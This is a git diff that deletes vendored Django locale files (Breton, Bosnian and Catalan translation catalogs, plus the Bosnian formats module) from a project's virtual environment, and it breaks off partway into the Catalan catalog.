-msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -msgid "Forbidden" -msgstr "Difennet" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "N'eus bet resisaet bloavezh ebet" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "N'eus bet resisaet miz ebet" - -msgid "No day specified" -msgstr "N'eus bet resisaet deiz ebet" - -msgid "No week specified" -msgstr "N'eus bet resisaet sizhun ebet" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "N'eus %(verbose_name_plural)s ebet da gaout." - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"En dazont ne vo ket a %(verbose_name_plural)s rak faos eo %(class_name)s." -"allow_future." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" -"N'eus bet kavet traezenn %(verbose_name)s ebet o klotaén gant ar goulenn" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "N'haller ket diskwel endalc'had ar c'havlec'h-mañ." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Meneger %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bs/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/bs/LC_MESSAGES/django.mo deleted file mode 100644 index 064cc5d8..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/bs/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bs/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/bs/LC_MESSAGES/django.po deleted file mode 100644 index a985b84e..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/bs/LC_MESSAGES/django.po +++ /dev/null @@ -1,1238 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Filip Dupanović , 2011 -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Bosnian (http://www.transifex.com/django/django/language/" -"bs/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: bs\n" -"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" -"%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" - -msgid "Afrikaans" -msgstr "" - -msgid "Arabic" -msgstr "arapski" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "Azerbejdžanski" - -msgid "Bulgarian" -msgstr "bugarski" - -msgid "Belarusian" -msgstr "" - -msgid "Bengali" -msgstr "bengalski" - -msgid "Breton" -msgstr "" - -msgid "Bosnian" -msgstr "bosanski" - -msgid "Catalan" -msgstr "katalonski" - -msgid "Czech" -msgstr "češki" - -msgid "Welsh" -msgstr "velški" - -msgid "Danish" -msgstr "danski" - -msgid "German" -msgstr "njemački" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "grčki" - -msgid "English" -msgstr "engleski" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "Britanski engleski" - -msgid "Esperanto" -msgstr "" - -msgid "Spanish" -msgstr "španski" - -msgid "Argentinian Spanish" -msgstr "Argentinski španski" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "Meksički španski" - -msgid "Nicaraguan Spanish" -msgstr "Nikuaraganski španski" - -msgid "Venezuelan Spanish" -msgstr "" - -msgid "Estonian" -msgstr "estonski" - -msgid "Basque" -msgstr "baskijski" - -msgid "Persian" -msgstr "persijski" - -msgid "Finnish" -msgstr "finski" - -msgid "French" -msgstr "francuski" - -msgid "Frisian" -msgstr "frišanski" - -msgid "Irish" -msgstr "irski" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "galski" - -msgid "Hebrew" -msgstr "hebrejski" - -msgid "Hindi" -msgstr "hindi" - -msgid "Croatian" -msgstr "hrvatski" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "mađarski" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "Indonežanski" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "islandski" - -msgid "Italian" -msgstr "italijanski" - -msgid "Japanese" -msgstr "japanski" - -msgid "Georgian" -msgstr "gruzijski" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "" - -msgid "Khmer" -msgstr "kambođanski" - -msgid "Kannada" -msgstr "kanada" - -msgid "Korean" -msgstr "korejski" - -msgid "Luxembourgish" -msgstr "" - -msgid "Lithuanian" -msgstr "litvanski" - -msgid "Latvian" -msgstr "latvijski" - -msgid "Macedonian" -msgstr "makedonski" - -msgid "Malayalam" -msgstr "Malajalamski" - -msgid "Mongolian" -msgstr "Mongolski" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "" - -msgid "Dutch" -msgstr "holandski" - -msgid "Norwegian Nynorsk" -msgstr "Norveški novi" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "Pandžabi" - -msgid "Polish" -msgstr "poljski" - -msgid "Portuguese" -msgstr "portugalski" - -msgid "Brazilian Portuguese" -msgstr "brazilski portugalski" - -msgid "Romanian" -msgstr "rumunski" - -msgid "Russian" -msgstr "ruski" - -msgid "Slovak" -msgstr "slovački" - -msgid "Slovenian" -msgstr "slovenački" - -msgid "Albanian" -msgstr "albanski" - -msgid "Serbian" -msgstr "srpski" - -msgid "Serbian Latin" -msgstr "srpski latinski" - -msgid "Swedish" -msgstr "švedski" - -msgid "Swahili" -msgstr "" - -msgid "Tamil" -msgstr "tamilski" - -msgid "Telugu" -msgstr "telugu" - -msgid "Thai" -msgstr "tajlandski" - -msgid "Turkish" -msgstr "turski" - -msgid "Tatar" -msgstr "" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "ukrajinski" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "vijetnamežanski" - -msgid "Simplified Chinese" -msgstr "novokineski" - -msgid "Traditional Chinese" -msgstr "starokineski" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Unesite ispravnu vrijednost." - -msgid "Enter a valid URL." -msgstr "Unesite ispravan URL." - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Unesite ispravnu IPv4 adresu." - -msgid "Enter a valid IPv6 address." -msgstr "" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "" - -msgid "Enter only digits separated by commas." -msgstr "Unesite samo brojke razdvojene zapetama." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Pobrinite se da je ova vrijednost %(limit_value)s (trenutno je " -"%(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Ova vrijednost mora da bude manja ili jednaka %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Ova vrijednost mora biti veća ili jednaka %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -msgid "Enter a number." -msgstr "Unesite broj." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "i" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "Ovo polje ne može ostati prazno." - -msgid "This field cannot be blank." -msgstr "Ovo polje ne može biti prazno." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s sa ovom vrijednošću %(field_label)s već postoji." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Polje tipa: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Bulova vrijednost (True ili False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "String (najviše %(max_length)s znakova)" - -msgid "Comma-separated integers" -msgstr "Cijeli brojevi razdvojeni zapetama" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Datum (bez vremena)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Datum (sa vremenom)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Decimalni broj" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "Email adresa" - -msgid "File path" -msgstr "Putanja fajla" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Broj sa pokrenom zapetom" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Cijeo broj" - -msgid "Big (8 byte) integer" -msgstr "Big (8 bajtni) integer" - -msgid "IPv4 address" -msgstr "" - -msgid "IP address" -msgstr "IP adresa" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Bulova vrijednost (True, False ili None)" - -msgid "Positive integer" -msgstr "" - -msgid "Positive small integer" -msgstr "" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -msgid "Small integer" -msgstr "" - -msgid "Text" -msgstr "Tekst" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Vrijeme" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "" - -msgid "Image" -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Strani ključ (tip određen povezanim poljem)" - -msgid "One-to-one relationship" -msgstr "Jedan-na-jedan odnos" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "Više-na-više odsnos" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "Ovo polje se mora popuniti." - -msgid "Enter a whole number." -msgstr "Unesite cijeo broj." - -msgid "Enter a valid date." -msgstr "Unesite ispravan datum." - -msgid "Enter a valid time." -msgstr "Unesite ispravno vrijeme" - -msgid "Enter a valid date/time." -msgstr "Unesite ispravan datum/vrijeme." - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Fajl nije prebačen. Provjerite tip enkodiranja formulara." - -msgid "No file was submitted." -msgstr "Fajl nije prebačen." - -msgid "The submitted file is empty." -msgstr "Prebačen fajl je prazan." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Prebacite ispravan fajl. Fajl koji je prebačen ili nije slika, ili je " -"oštećen." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"%(value)s nije među ponuđenim vrijednostima. Odaberite jednu od ponuđenih." - -msgid "Enter a list of values." -msgstr "Unesite listu vrijednosti." - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -msgid "Order" -msgstr "Redoslijed" - -msgid "Delete" -msgstr "Obriši" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Ispravite dupli sadržaj za polja: %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Ispravite dupli sadržaj za polja: %(field)s, koji mora da bude jedinstven." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Ispravite dupli sadržaj za polja: %(field_name)s, koji mora da bude " -"jedinstven za %(lookup)s u %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Ispravite duple vrijednosti dole." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Odabrana vrijednost nije među ponuđenima. Odaberite jednu od ponuđenih." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Očisti" - -msgid "Currently" -msgstr "Trenutno" - -msgid "Change" -msgstr "Izmjeni" - -msgid "Unknown" -msgstr "Nepoznato" - -msgid "Yes" -msgstr "Da" - -msgid "No" -msgstr "Ne" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "da,ne,možda" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "po p." - -msgid "a.m." -msgstr "prije p." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "ponoć" - -msgid "noon" -msgstr "podne" - -msgid "Monday" -msgstr "ponedjeljak" - -msgid "Tuesday" -msgstr "utorak" - -msgid "Wednesday" -msgstr "srijeda" - -msgid "Thursday" -msgstr "četvrtak" - -msgid "Friday" -msgstr "petak" - -msgid "Saturday" -msgstr "subota" - -msgid "Sunday" -msgstr "nedjelja" - -msgid "Mon" -msgstr "pon." - -msgid "Tue" -msgstr "uto." - -msgid "Wed" -msgstr "sri." - -msgid "Thu" -msgstr "čet." - -msgid "Fri" -msgstr "pet." - -msgid "Sat" -msgstr "sub." - -msgid "Sun" -msgstr "ned." - -msgid "January" -msgstr "januar" - -msgid "February" -msgstr "februar" - -msgid "March" -msgstr "mart" - -msgid "April" -msgstr "april" - -msgid "May" -msgstr "maj" - -msgid "June" -msgstr "juni" - -msgid "July" -msgstr "juli" - -msgid "August" -msgstr "august" - -msgid "September" -msgstr "septembar" - -msgid "October" -msgstr "oktobar" - -msgid "November" -msgstr "novembar" - -msgid "December" -msgstr "decembar" - -msgid "jan" -msgstr "jan." - -msgid "feb" -msgstr "feb." - -msgid "mar" -msgstr "mar." - -msgid "apr" -msgstr "apr." - -msgid "may" -msgstr "maj." - -msgid "jun" -msgstr "jun." - -msgid "jul" -msgstr "jul." - -msgid "aug" -msgstr "aug." - -msgid "sep" -msgstr "sep." - -msgid "oct" -msgstr "okt." - -msgid "nov" -msgstr "nov." - -msgid "dec" -msgstr "dec." - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Mart" - -msgctxt "abbrev. month" -msgid "April" -msgstr "April" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Maj" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Juni" - -msgctxt "abbrev. month" -msgid "July" -msgstr "juli" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "august" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "septembar" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "oktobar" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "novembar" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "decembar" - -msgctxt "alt. month" -msgid "January" -msgstr "januar" - -msgctxt "alt. month" -msgid "February" -msgstr "februar" - -msgctxt "alt. month" -msgid "March" -msgstr "mart" - -msgctxt "alt. month" -msgid "April" -msgstr "april" - -msgctxt "alt. month" -msgid "May" -msgstr "maj" - -msgctxt "alt. month" -msgid "June" -msgstr "juni" - -msgctxt "alt. month" -msgid "July" -msgstr "juli" - -msgctxt "alt. month" -msgid "August" -msgstr "august" - -msgctxt "alt. month" -msgid "September" -msgstr "septembar" - -msgctxt "alt. month" -msgid "October" -msgstr "oktobar" - -msgctxt "alt. month" -msgid "November" -msgstr "Novembar" - -msgctxt "alt. month" -msgid "December" -msgstr "decembar" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "ili" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -msgid "0 minutes" -msgstr "" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "Godina nije naznačena" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "Mjesec nije naznačen" - -msgid "No day specified" -msgstr "Dan nije naznačen" - -msgid "No week specified" -msgstr "Sedmica nije naznačena" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bs/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/bs/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bs/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/bs/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 456e98d5..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/bs/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bs/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/bs/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 210db27d..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/bs/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bs/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/bs/formats.py deleted file mode 100644 index a15e7099..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/bs/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j. N Y." -TIME_FORMAT = "G:i" -DATETIME_FORMAT = "j. N. Y. G:i T" -YEAR_MONTH_FORMAT = "F Y." -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "Y M j" -# SHORT_DATETIME_FORMAT = -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ca/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ca/LC_MESSAGES/django.mo deleted file mode 100644 index 208f4a4e..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ca/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ca/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ca/LC_MESSAGES/django.po deleted file mode 100644 index 01e4dda2..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ca/LC_MESSAGES/django.po +++ /dev/null @@ -1,1340 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Antoni Aloy , 2012,2015-2017,2021-2022 -# Carles Barrobés , 2011-2012,2014,2020 -# duub qnnp, 2015 -# Emilio Carrion, 2022 -# Gil Obradors Via , 2019 -# Gil Obradors Via , 2019 -# Jannis Leidel , 2011 -# Manel Clos , 2020 -# Manuel Miranda , 2015 -# Mariusz Felisiak , 2021 -# Roger Pons , 2015 -# Santiago Lamora , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:23-0500\n" -"PO-Revision-Date: 2022-07-25 06:49+0000\n" -"Last-Translator: Emilio Carrion\n" -"Language-Team: Catalan (http://www.transifex.com/django/django/language/" -"ca/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ca\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikans" - -msgid "Arabic" -msgstr "àrab" - -msgid "Algerian Arabic" -msgstr "àrab argelià" - -msgid "Asturian" -msgstr "Asturià" - -msgid "Azerbaijani" -msgstr "azerbaijanès" - -msgid "Bulgarian" -msgstr "búlgar" - -msgid "Belarusian" -msgstr 